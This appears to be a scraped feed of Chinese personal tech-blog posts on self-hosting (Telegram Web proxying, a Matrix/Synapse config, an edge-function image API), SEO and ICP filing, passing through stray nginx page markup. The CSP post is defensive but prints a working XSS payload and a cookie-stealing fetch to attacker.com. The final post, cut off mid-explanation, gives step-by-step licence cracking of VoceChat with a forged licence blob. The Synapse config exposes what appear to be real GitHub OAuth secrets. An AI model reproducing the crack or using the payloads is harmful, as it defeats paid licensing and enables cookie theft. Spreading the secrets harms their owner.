fit-content; color: #fff; background-color: #ea4c89; border: none; font-size: 14px; margin: 0 8px; padding: 9px 30px; border-radius: 5px; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: background-color 0.3s ease; } .immersive-translate-btn-container { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 8px; } .immersive-translate-btn:hover { background-color: #f082ac; } .immersive-translate-btn:disabled { opacity: 0.6; cursor: not-allowed; } .immersive-translate-btn:disabled:hover { background-color: #ea4c89; } .immersive-translate-link-btn { background-color: transparent; color: #ea4c89; border: none; cursor: pointer; height: 30px; line-height: 30px; } .immersive-translate-cancel-btn { /* gray color */ background-color: rgb(89, 107, 120); } .immersive-translate-cancel-btn:hover { background-color: hsl(205, 20%, 32%); } .immersive-translate-action-btn { background-color: transparent; color: #ea4c89; border: 1px solid #ea4c89; } .immersive-translate-btn svg { margin-right: 5px; } .immersive-translate-link { cursor: pointer; user-select: none; -webkit-user-drag: none; text-decoration: none; color: #ea4c89; -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1); } .immersive-translate-primary-link { cursor: pointer; user-select: none; -webkit-user-drag: none; text-decoration: none; color: #ea4c89; -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1); } .immersive-translate-modal input[type="radio"] { margin: 0 6px; cursor: pointer; } .immersive-translate-modal label { cursor: pointer; } .immersive-translate-close-action { position: absolute; top: 2px; right: 0px; cursor: pointer; } .imt-image-status { background-color: rgba(0, 0, 0, 0.5) !important; display: flex !important; flex-direction: column !important; align-items: center !important; justify-content: center !important; border-radius: 16px !important; } .imt-image-status img, .imt-image-status svg, .imt-img-loading { width: 28px !important; height: 28px !important; margin: 0 0 8px 0 !important; min-height: 28px !important; min-width: 28px !important; position: relative !important; } .imt-img-loading { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII="); background-size: 28px 28px; animation: image-loading-rotate 1s linear infinite !important; } .imt-image-status span { color: var(--bg-2, #fff) !important; font-size: 14px !important; line-height: 14px !important; font-weight: 500 !important; font-family: "PingFang SC", Arial, sans-serif !important; } @keyframes image-loading-rotate { from { transform: rotate(360deg); } to { transform: rotate(0deg); } } </style></head> <body> <h1>Welcome to nginx!</h1> If you see this page, the nginx web server is successfully installed and working. Further configuration is required. For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>. Commercial support is available at <a href="http://nginx.com/">nginx.com</a>. Thank you for using nginx. <div id="screenity-ui"><div class="screenity-shadow-dom"><div><div class="screenity-scrollbar"></div><div class="screenity-scrollbar"></div></div><style type="text/css"> #screenity-ui, #screenity-ui div { background-color: unset; padding: unset; width: unset; box-shadow: unset; display: unset; margin: unset; border-radius: unset; } .screenity-outline { position: absolute; z-index: 99999999999; border: 2px solid #3080F8; outline-offset: -2px; pointer-events: none; border-radius: 5px!important; } .screenity-blur { filter: blur(10px)!important; } .screenity-shadow-dom * { transition: unset; } .screenity-shadow-dom .TooltipContent { border-radius: 30px!important; background-color: #29292F!important; padding: 10px 15px!important; font-size: 12px; margin-bottom: 10px!important; bottom: 100px; line-height: 1; font-family: 'Satoshi-Medium', sans-serif; z-index: 99999999!important; color: #FFF; box-shadow: hsl(206 22% 7% / 35%) 0px 10px 38px -10px, hsl(206 22% 7% / 20%) 0px 10px 20px -15px!important; user-select: none; transition: opacity 0.3 ease-in-out; will-change: transform, opacity; animation-duration: 400ms; animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1); will-change: transform, opacity; } .screenity-shadow-dom .hide-tooltip { display: none!important; } .screenity-shadow-dom .tooltip-tall { margin-bottom: 20px; } .screenity-shadow-dom .tooltip-small { margin-bottom: 5px; } .screenity-shadow-dom .TooltipContent[data-state='delayed-open'][data-side='top'] { animation-name: slideDownAndFade; } .screenity-shadow-dom .TooltipContent[data-state='delayed-open'][data-side='right'] { animation-name: slideLeftAndFade; } .screenity-shadow-dom.TooltipContent[data-state='delayed-open'][data-side='bottom'] { animation-name: slideUpAndFade; } .screenity-shadow-dom.TooltipContent[data-state='delayed-open'][data-side='left'] { animation-name: slideRightAndFade; } @keyframes slideUpAndFade { from { opacity: 0; transform: translateY(2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideRightAndFade { from { opacity: 0; transform: translateX(-2px); } to { opacity: 1; transform: translateX(0); } } @keyframes slideDownAndFade { from { opacity: 0; transform: translateY(-2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideLeftAndFade { from { opacity: 0; transform: translateX(2px); } to { opacity: 1; transform: translateX(0); } } #screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; } .screenity-shadow-dom .CanvasContainer { position: fixed; pointer-events: all!important; top: 0px!important; left: 0px!important; z-index: 99999999999!important; } .screenity-shadow-dom .canvas { position: fixed; top: 0px!important; left: 0px!important; z-index: 99999999999!important; background: transparent!important; } .screenity-shadow-dom .canvas-container { top: 0px!important; left: 0px!important; z-index: 99999999999; position: fixed!important; background: transparent!important; } .ScreenityDropdownMenuContent { z-index: 99999999999!important; min-width: 200px; background-color: white; margin-top: 4px; margin-right: 8px; padding-top: 12px; padding-bottom: 12px; border-radius: 15px; z-index: 99999; font-family: 'Satoshi-Medium', sans-serif; color: #29292F; box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35), 0px 10px 20px -15px rgba(22, 23, 24, 0.2); animation-duration: 400ms; animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1); will-change: transform, opacity; } .ScreenityDropdownMenuContent[data-side="top"] { animation-name: slideDownAndFade; } .ScreenityDropdownMenuContent[data-side="right"] { animation-name: slideLeftAndFade; } .ScreenityDropdownMenuContent[data-side="bottom"] { animation-name: slideUpAndFade; } .ScreenityDropdownMenuContent[data-side="left"] { animation-name: slideRightAndFade; } .ScreenityItemIndicator { position: absolute; right: 12px; width: 18px; height: 18px; background: #3080F8; border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; } .ScreenityDropdownMenuItem, .ScreenityDropdownMenuRadioItem { font-size: 14px; line-height: 1; display: flex; align-items: center; height: 40px; padding: 0 5px; position: relative; padding-left: 22px; padding-right: 22px; user-select: none; outline: none; } .ScreenityDropdownMenuItem:hover { background-color: #F6F7FB !important; cursor: pointer; } .ScreenityDropdownMenuItem[data-disabled] { color: #6E7684; !important; cursor: not-allowed; background-color: #F6F7FB !important; } @keyframes slideUpAndFade { from { opacity: 0; transform: translateY(2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideRightAndFade { from { opacity: 0; transform: translateX(-2px); } to { opacity: 1; transform: translateX(0); } } @keyframes slideDownAndFade { from { opacity: 0; transform: translateY(-2px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideLeftAndFade { from { opacity: 0; transform: translateX(2px); } to { opacity: 1; transform: translateX(0); } } </style></div></div></body><div id="immersive-translate-popup" style="all: initial"></div></html> </code></pre> 注意，如果什么都不做直接开放到公网大概率会吃Abuse 原理</h1> TG Web采用前后端分离 前端为静态资产，可以直接部署到Cloudflare Page 后端有高达10个API，反代一下即可 然后将前端请求的 .web.telegram.org</code> 改为你的域名即可 正式开始</h1> 以 TG Web K举例子 </blockquote> TG 后端API共有10个，分别为 pluto.web.telegram.org venus.web.telegram.org aurora.web.telegram.org vesta.web.telegram.org flora.web.telegram.org pluto-1.web.telegram.org venus-1.web.telegram.org aurora-1.web.telegram.org vesta-1.web.telegram.org flora-1.web.telegram.org </code></pre> 假如我的域名是 072103.xyz</code> ，则为 pluto.web.072103.xyz</code> 。其他的以此类推 Fork 仓库： morethanwords/tweb: Telegram Web K, GPL v3</a> 全局搜索 .web.telegram.org</code> 替换为 .web.072103.xyz</code> 将该仓库部署到Cloudflare Page，构建命令为 pnpm build</code> ，构建输出目录为 public</code> 成功</h1> QQ微信不够私密？自建自己的聊天服务器！ 2025-08-02T00:00:00+00:00 由于Synapse、Matrix（下文简称”矩阵“）手搓部署非常麻烦。所以请安装 1Panel面板 部署PostgreSQL</h1> 安装并创建名为 synapse</code> 用户名也为 synapse</code> 的数据库 前往应用商店安装 PGAdmin4</code> 接着点击添加服务器 相关信息可以在连接信息看到 删除刚刚创建的 synapse</code> 这个数据库 重新创建同名数据库 设置所有者（即用户名）为 synapse</code> 将排序规则</code> 和字符类型</code> 都改为 C</code> 部署Synapse</h1> 首先参照1Panel官方的教程去创建一个存储卷，否则安装 synapse</code> 会失败 安装 synapse</code> 导航到文件管理： /var/lib/docker/volumes/synapse-data/_data</code> 你应该可以看到 编辑 homeserver.yaml</code> ，并按需配置 server_name: "家服务器名称，比如：m.2x.nz" public_baseurl: "公共URL，比如：https://m.2x.nz" pid_file: /data/homeserver.pid serve_server_wellknown: true # 启用联邦 listeners: - port: 8008 tls: false type: http x_forwarded: true resources: - names: [client, federation] compress: false response_headers: Access-Control-Allow-Origin: "https://app.element.io" Access-Control-Allow-Methods: "GET, POST, OPTIONS" Access-Control-Allow-Headers: "Content-Type, Authorization" database: name: psycopg2 args: user: synapse password: 你的数据库密码 dbname: synapse host: 你的PostgreSQL的容器名称 cp_min: 5 cp_max: 10 log_config: "/data/my.matrix.host.log.config" media_store_path: /data/media_store registration_shared_secret: "这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置" macaroon_secret_key: "这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置" form_secret: "这里的东西是随机生成的，每个人都不一样，请忽略这一块，并使用你的配置" signing_key_path: "/data/my.matrix.host.signing.key" report_stats: false trusted_key_servers: - server_name: "matrix.org" # Github OAuth oidc_providers: - idp_id: github idp_name: Github idp_brand: "github" # optional: styling hint for clients discover: false issuer: "https://github.com/" client_id: "Ov23liaHxxYHybb0jRoZ" # TO BE FILLED client_secret: "e937f214ea7c132924ab34c76d83f4b7099d696e" # TO BE FILLED authorization_endpoint: "https://github.com/login/oauth/authorize" token_endpoint: "https://github.com/login/oauth/access_token" userinfo_endpoint: "https://api.github.com/user" scopes: ["read:user"] user_mapping_provider: config: subject_claim: "id" localpart_template: "{{ user.login }}" display_name_template: "{{ user.name }}" ### ✅ 邮件配置（确保SMTP验证正常） email: smtp_host: "你的SMTP发件服务器" smtp_port: 465 smtp_user: "你的发件邮箱" smtp_pass: "你的SMTP密码" force_tls: true notif_from: "Matrix <你的发件邮箱>" validation_token_lifetime: "5m" ### ✅ 启用注册 + 邮箱验证 + 密码找回 enable_registration: true registrations_require_3pid: - email registration_requires_token: false # 确保不强制邀请码注册（默认关闭） password_config: enabled: true ### ✅ 允许邮箱登录 login_via_existing_session: enabled: true rc_registration: per_second: 0.003 # 每秒允许的注册请求（例如：0.003 ≈ 每5分钟一次） burst_count: 1 # 同一IP地址的最大注册突发数 # 消息发送速率限制 rc_message: per_second: 0.2 # 每秒允许发送的消息数 burst_count: 10 # 突发消息缓冲区大小 # 房间加入速率限制 rc_joins: local: per_second: 0.1 # 本地用户加入房间的速率 burst_count: 10 remote: per_second: 0.01 # 远程用户加入房间的速率 burst_count: 10 # 媒体保留设置 media_retention: # 本地媒体文件的保留时间 local_media_lifetime: 90d # 远程媒体文件的保留时间（来自其他homeserver的媒体） remote_media_lifetime: 14d # 删除陈旧设备的时间 delete_stale_devices_after: 1y auto_join_rooms: - "#XXX:你的家服务器URL" # 需要自动加入的房间 </code></pre> 按需配置，更多高级配置参阅： Homeserver Sample Config File - Synapse</a> 创建管理员账号</h1> 连接上容器的终端然后输入这串命令创建管理员账号 register_new_matrix_user http://localhost:8008 -c /data/homeserver.yaml -a -u 管理员用户名 -p 密码 </code></pre> 开始聊天</h1> 前往 https://app.element.io 将家服务器改为你的（必须为HTTPS） 通过刚刚创建的管理员账号登录 其他人可以通过邮箱注册 对标CF Worker？拿EdgeOne边缘函数做一个随机图API！ 2025-08-01T00:00:00+00:00 前往 afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API</a> 复制 worker.js</code> 代码 部署到EdgeOne边缘函数 将代码开头的 R2_CONFIG</code> 设为你自己的 var R2_CONFIG = { region: 'auto', service: 's3', accountId: '', accessKeyId: '', secretAccessKey: '', bucketName: '' }; </code></pre> 配置你的R2，将横屏随机图放到 ri/h</code> 和 ri/v</code> 。保证跟代码中的路径一样 // 根据路径确定前缀 var prefix = ''; if (pathname === '/h') { prefix = 'ri/h/'; } else if (pathname === '/v') { prefix = 'ri/v/'; } else if (pathname === '/') { </code></pre> 访问 /h</code> 则展示一张横屏随机图，访问 /v</code> 则展示一张竖屏随机图 如果需要绑定域名请设置触发规则 注意</h1> 边缘函数每月有300万次的请求数限制，暂不知道超出是否扣费 CSP标头是什么？为什么有人能神不知鬼不觉地盗走你的信息？ 2025-07-31T00:00:00+00:00 这是一个无CSP标头的网站：点我</a> 不出意外，你的浏览器会弹出一个提示 这是如何做到的？</h1> 这个项目开源在 afoim/none_csp_demo</a> HTML内容为 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>欢迎页面</title> </head> <body> <h1>欢迎</h1> 你好，！ <script> // 从 URL 参数读取用户名并显示 const params = new URLSearchParams(location.search); const name = params.get("name"); document.getElementById("name").innerHTML = name; </script> </body> </html> </code></pre> 这个网站非常简单，网页通过查询符 ?name=xxx</code> 来动态显示用户名 比如你输入 https://none-csp-demo.pages.dev/nocsp?name=AcoFork 网页就会显示 而根据源码网页是通过 innerHTML</code> 直接进行文本插入的 这种方式没有任何的安全审查，会将传入的内容直接拼接到HTML中 那么...如果我们给网站这样一个 name</code> 呢？ 尝试输入 https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E 你会发现网站并没有打印出任何用户名，而且浏览器还弹出了一个奇怪的窗口 我们F12查看当前网页的源代码 发现在 </code> 中 被插入了一条 <img src="x" onerror="alert('XSS攻击成功')"></code> ！ 也就是说，网页把我们传入的 name</code> 并没有解析为纯文本 而是暴力的直接插入了HTML 导致浏览器并没有渲染出来你好，<img src="x" onerror="alert('XSS攻击成功')"> ！</code> 而是直接将 <img src="x" onerror="alert('XSS攻击成功')"></code> 作为HTML去执行了！ 由于 src=x</code> 必定无法获取，又因为设置了 onerror</code> 这个回退源 导致浏览器直接执行了 alert('XSS攻击成功')</code> 这个脚本！ 有什么危害？</h1> 举一反三，既然我们能让浏览器弹出一个提示框 那也就能做到其他事情 攻击者完全可以伪造一条URL，然后发给你，比如获取你的浏览器Cookie然后通过Fetch发送到指定的服务器！！！ https://victim-site.com/page?name=<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"></code> 如何设置CSP以避免这类攻击？</h1> 尝试访问这个URL，该URL设置了严格的CSP策略 https://none-csp-demo.pages.dev/csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E 你会发现并未弹出提示框，并且F12控制台出现报错 以下是GPT给出的翻译和解释 翻译： 拒绝执行内联脚本，因为它违反了以下 CSP 指令：script-src 'self'</code>。要允许执行内联脚本，必须使用 'unsafe-inline'</code> 关键字、指定哈希值（例如 'sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ='</code>），或使用随机数（例如 'nonce-...'</code>）。 </blockquote> 解释： 你的 CSP 策略里规定只能加载本域（'self'</code>）的脚本，但是你在 HTML 页面中写了 <script>...</script></code> 这样的内联脚本（inline script）。这被当前 CSP 限制了，无法执行。 这样我们就成功避免了XSS攻击 在HTML head中添加以下内容即可  <meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'; "> </code></pre> 如何保证我的数据安全？</h1> 如果你正在运营站点，请确保各个站点设置了严格的CSP策略。这样，即使有攻击者想要XSS注入，也会被CSP策略拦截 </li> 不要随意点击来历不明的链接或扫描来历不明的二维码。对于短链接、混淆后的链接，首先先解析出最终链接，评估风险后再访问。或者使用无痕模式访问。也许目标网站并没有严格的CSP策略，这可能会导致你的个人数据泄露 </li> </ol> 如何提高网站的SEO？ 2025-07-30T00:00:00+00:00 即每个HTML head部分的 title</code> </blockquote> 不要重名</h3> 如果你的标题是中文，请确保不要和任何知名事物关联上，比如不要叫树叶博客</code> ，而是叶树博客</code> 。 搜索引擎对于知名事物给的权重很高，如果你还和这些知名事物重名，大众则很难搜索到你 使用英文标题</h3> 比如 AcoFork Blog</code>，afoim Blog</code> 。 尝试自创一个单词，和中文一样，不要和知名事物重名 搜索引擎会将无法关联的网页作为独立权重 直接搜索您的自创单词，大概率就能找到您的网站，如：AcoFork</code> 跨页面使用主标题锚定</h3> 一个网站大部分情况都有多个页面，如主页，分类，归档等等 除了主页面要展示您的特有标题，其他页面也需要 比如主页面标题为 AcoFork Blog</code> ，则副页面可以为分类 - AcoFork Blog</code> 或 AcoFork Blog - 分类</code> 。 但是请不要直接单写一个分类</code> 。虽然这可能并不会误导搜索引擎的判断（只要还是同一个域名），但可能会误导用户的判断 比如搜索您的网站排在第一位的是一个标题为分类</code> 的网页 言简意赅写明description</h1> 即每个HTML head部分的 meta name="description"</code> </blockquote> 网站描述不要写的太短，也不应太长，更不能没有 我的网站简介是 分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为AcoFork/afoim/二叉树树</code> 关键词</h1> 即每个HTML head部分的 meta name="keywords"</code> </blockquote> 现代搜索引擎基本不看，很容易被滥用。所以不需要写 同内容网站只能有一个</h1> 如无必要，请不要变更域名。也不要将其他域名指向您的站点 </blockquote> 假如我有 acofork.com</code> acofork.cn</code> 。都想指向我的同一个网站？ 请使用 301 重定向 否则你的SEO将被破坏，搜索引擎不会将这两个站点视为同一个站点 同时，确保你的域名日后仅作重定向用。因为301重定向会在客户端种下一个种子 客户端第一次访问时，服务器返回301状态码，日后客户端则不会请求服务器，直接重定向到目标URL 如果日后需要将域名挪作他用，那么请不要写任何解析，避免日后部署其他服务部分用户不可用 解决这个问题需要引导用户清除浏览器的本地缓存，非常麻烦 避免使用相同名字的云托管服务</h1> 比如 xLog。我曾经创建过一个 acofork.xlog.app</code> 的站点。现在不用了，又由于xLog是区块链，我还丢失了私钥助记词，现在无人能登上，自然也无法删除其中的内容。至今仍在破坏我站的SEO 使用Lighthouse分析站点分数</h1> Lighthouse是一个浏览器插件，可以分析站点的性能、无障碍、最佳做法和性能 可以前往各自的浏览器插件商店搜索 Lighthouse</code> 进行安装测试 注意需要使用无痕模式进行测试，以免其他浏览器插件影响Lighthouse的测试结果 对于每一项出现的问题以及如何解决都有明确的指示。可以根据警告对您的站点进行优化 接入必应网站管理员</h1> 前往 https://www.bing.com/webmasters 接入您的站点后，必应爬虫将会分析您的网站，并且告知您的网站是否可以在搜索结果中展示 必应爬虫还会针对它的视角提出您网站的问题，您可以根据提出的问题进行优化 接入各大分析</h1> 可以将网站接入各大分析，这样不仅能看到网站的流量，也能让搜索引擎知道这个网站是在被精心运营的 百度统计： https://tongji.baidu.com/ 必应网站管理员： https://www.bing.com/webmaster/ 谷歌搜索控制台： https://search.google.com/ 谷歌分析： https://analytics.google.com/ 谷歌广告： https://www.google.com/adsense/ 使用IndexNow</h1> 曾经，如果想要提高网站的SEO，我们只能静静等待各大搜索引擎爬虫进行网站内容的爬取 而 IndexNow 允许网站主动向各大搜索引擎提交高质量的内容。详见： Why IndexNow | Bing Webmaster Tools</a> 如果您使用Cloudflare CDN，这是开箱即用的只需要导航到您的域名 -> 缓存 -> 配置 -> 启用 Crawler Hints 即可 关于本站为什么不进行ICP备案 2025-07-29T00:00:00+00:00 早期本站发布过文章点此查看</a> 该文章不符合备案规范。曾尝试过备案被打回 域名不支持备案</h1> ICP备案是针对于域名的，本人名下的 2x.nz 并不在ICP备案支持的域名后缀内 所有支持备案的域名后缀请查看 https://domain.miit.gov.cn/ 中国节点加速收效甚微</h1> 目前本站使用的CDN为Netlify CDN，Netlify采用AWS的IP，速度极快，在中国大陆可用性很高，延迟如下图 由于本站为静态站，若进行备案可以直接使用EdgeOne Page中的中国大陆节点，延迟固然会更低，但是对比目前的速度收效甚微 备案步骤繁琐</h1> 若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式） GFW未对本站进行SNI阻断</h1> 本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问 泉州等地区用户仅支持访问备案域？</h1> 本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用 后续会进行修复并且重新恢复IP站点的运营 已恢复参见关于</a>界面 后续是否会备案</h1> 可能。但是不会用做主要业务，更多是提高访问可达性，主站仍为未备案站。 且如果备案后我需要管理两个内容分支（即无违规内容分支和原分支）我可能会放弃这么做 网易云音乐歌曲时间戳获取 2025-07-27T00:00:00+00:00 首先我们要获取一首歌的ID，如果你是App可以点击分享，然后复制链接</code> 。如果是Web，直接复制浏览器地址栏 你将得到类似这样的URL https://music.163.com/#/song?id=29812004&uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=</code> 其中的 id=29812004</code> 中的值就是我们的歌曲ID 接下来拼接URL https://music.163.com/api/song/media?id=29812004 </code></pre> 访问就得到歌词时间戳啦 {"songStatus":1,"lyricVersion":44,"lyric":"[by:月餖]\n[00:19.30]The clock stopped ticking forever ago\n\n[00:23.300]How long have I been up?\n[00:25.300]I don't know.\n[00:26.300]I can't get a grip,\n[00:28.300]But I can't let go\n[00:30.300]There wasn't anything\n[00:31.300]To hold onto though...\n[00:33.300]Why can't I see?\n[00:35.300]Why can't I see?\n[00:37.300]All the colors that you see?\n[00:40.300]Please, Can I be,\n[00:42.300]Please, Can I be\n[00:44.300]Colorful and free?\n[00:47.300]WHAT THE HELL'S GOING ON?!\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\n[00:50.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[00:53.300]I'M black, THEN I'M white!!\n[00:55.300]NO!!!\n[00:56.300]SOMETHING ISN'T RIGHT!!\n[00:57.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[01:04.300]WHEN I'M UP AGAINST\n[01:05.300]THE ECHO IN THE MIRROR!!\n[01:08.300]ECHO!!\n[01:14.300]\n[02:23.300]I'm gonna burn my house down,\n[02:27.300]Into an ugly black.\n[02:28.300]I'm gonna run away, Now\n[02:31.300]And never look back.\n[02:32.300]I'm gonna burn my house down,\n[02:34.300]Into an ugly black.\n[02:35.300]I'm gonna run away, Now\n[02:37.300]And never look back.\n[02:39.300]I'm gonna run away down,\n[02:41.300]I'm gonna run away.\n[02:42.300]I'm gonna run away, Now\n[02:44.300]I'm gonna run away\n[02:53.300]I'm gonna burn my house down.\n[02:54.300]And never look back.\n[02:56.300]And never look back.\n[02:58.300]AND NEVER LOOK BACK!!\n[02:59.300]WHAT THE HELL'S GOING ON?!\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\n[03:03.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:06.300]I'M black, THEN I'M white!!\n[03:08.300]NO!!!\n[03:08.300]SOMETHING ISN'T RIGHT!!\n[03:10.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[03:13.300]WHAT THE HELL'S GOING ON?!\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\n[03:17.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:20.300]I'M black, THEN I'M white!!\n[03:21.300]NO!!!\n[03:22.300]SOMETHING ISN'T RIGHT!!\n[03:23.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:31.300]WHEN I'M UP AGAINST\n[03:32.300]THE ECHO IN THE MIRROR!!\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:37.300]WHEN I'M UP AGAINST\n[03:39.300]THE ECHO IN THE MIRROR!!","code":200} </code></pre> 记录人生中第一次破解软件！FKvocechat！ 2025-07-23T00:00:00+00:00 可以直接看记录被voce.chat坑了350 - 屮蛋Blog</a> 正版激活的原理？</h1> 一般来说。大部分授权系的软件会将你的授权文件首先经过加密，然后发送到授权服务器，等待授权服务器返回一个正确的状态，然后激活 如何伪造这个正确的状态？</h1> 大部分软件的授权通信是通过后端进行的（但是vocechat不一样，它在前端🤣），我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态 假如你发送一个有效的许可证，得到 check: true</code> 这个响应，同时软件本体显示已激活</code> 。然后发送一个无效的许可证，得到 check: false</code> 这个响应，同时软件本体显示许可证无效</code> 。那么我们可以非常简单的去破解，只需要让对方服务器无论对软件发送的任意许可证都返回 check: true</code> 即可。 这涉及到响应体修改，需要使用第三方软件，推荐 BurpSuite</code> 上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值，会返回一串密文，然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源，后续的一系列操作就看你造化了 </blockquote> 正片，怎么破解VoceChat？</h1> 不需要你有一个正版许可证，因为我花350买了😭 </blockquote> 部署完毕VoceChat后，进入授权界面开启浏览器的DevTools，如图 设置你的 BurpSuite</code> 软件，全局替换 "sign": false</code> 为 "sign": true</code> 点击手动更新，上传如下内容 LkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc </code></pre> 然后你就能得到 原理剖析</h1> VoceChat是前端验证（没绷住），刚才给你们的内容是一个经过base58编码后的内容，解码后为 